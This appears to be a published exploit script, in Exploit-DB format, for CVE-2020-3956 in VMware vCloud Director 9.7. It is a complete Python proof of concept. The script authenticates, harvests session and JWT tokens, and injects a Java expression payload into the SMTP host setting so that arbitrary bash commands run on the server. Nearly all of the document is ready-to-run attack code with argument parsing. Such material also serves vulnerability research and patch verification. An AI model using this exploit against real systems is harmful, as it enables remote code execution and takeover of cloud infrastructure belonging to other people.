1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 |
# Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution # Exploit Author: Tomas Melicher # Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/ # Date: 2020-05-24 # Vendor Homepage: https://www.vmware.com/ # Software Link: https://www.vmware.com/products/cloud-director.html # Tested On: vCloud Director 9.7.0.15498291 # Vulnerability Description: # VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name. #!/usr/bin/python import argparse # pip install argparse import base64, os, re, requests, sys if sys.version_info >= (3, 0): from urllib.parse import urlparse else: from urlparse import urlparse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}" session = requests.Session() def login(url, username, password, verbose): target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path) res = session.get(target_url) match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE) if match: tenant = match.group(1) else: print('[!] can\'t find tenant identifier') return if verbose: print('[*] tenant: %s'%(tenant)) match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE) if match: # Cloud Director 9.* login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0)) res = session.post(login_url, data={'username':username,'password':password}) if res.status_code == 401: print('[!] invalid credentials') return else: # Cloud Director 10.* match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE) if match: login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0)) headers = { 'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))), 'Accept': 'application/json;version=29.0', 'Content-type': 'application/json;version=29.0' } res = session.post(login_url, headers=headers) if res.status_code == 401: print('[!] invalid credentials') return else: print('[!] url for login form was not found') return cookies = session.cookies.get_dict() jwt = cookies['vcloud_jwt'] session_id = cookies['vcloud_session_id'] if verbose: print('[*] jwt token: %s'%(jwt)) print('[*] session_id: %s'%(session_id)) res = session.get(target_url) match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE) if match is None: print('[!] organization not found') return organization = match.group(1) if verbose: print('[*] organization name: %s'%(organization)) match = re.search(r'orgId : \'([^\']+)', res.content) if match is None: print('[!] orgId not found') return org_id = match.group(1) if verbose: print('[*] organization identifier: %s'%(org_id)) return (jwt,session_id,organization,org_id) def exploit(url, username, password, command, verbose): (jwt,session_id,organization,org_id) = login(url, username, password, verbose) headers = { 'Accept': 'application/*+xml;version=29.0', 'Authorization': 'Bearer %s'%jwt, 'x-vcloud-authorization': session_id } admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc) res = session.get(admin_url, headers=headers) match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE) if match: version = match.group(1) if verbose: print('[*] detected version of Cloud Director: %s'%(version)) else: version = None print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0') email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id) payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command)) data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>' data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>' data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>' data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload) data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>' res = session.put(email_settings_url, data=data, headers=headers) match = re.search(r'value:\s*\[([^\]]+)\]', res.content) if verbose: print('') try: print(base64.b64decode(match.group(1))) except Exception: print(res.content) parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]') parser.add_argument('-v', action='store_true') parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True) parser.add_argument('-u', metavar='username', required=True) parser.add_argument('-p', metavar='password', required=True) parser.add_argument('-c', metavar='command', help='command to execute', default='id') args = parser.parse_args() url = urlparse(args.t) exploit(url, args.u, args.p, args.c, args.v) |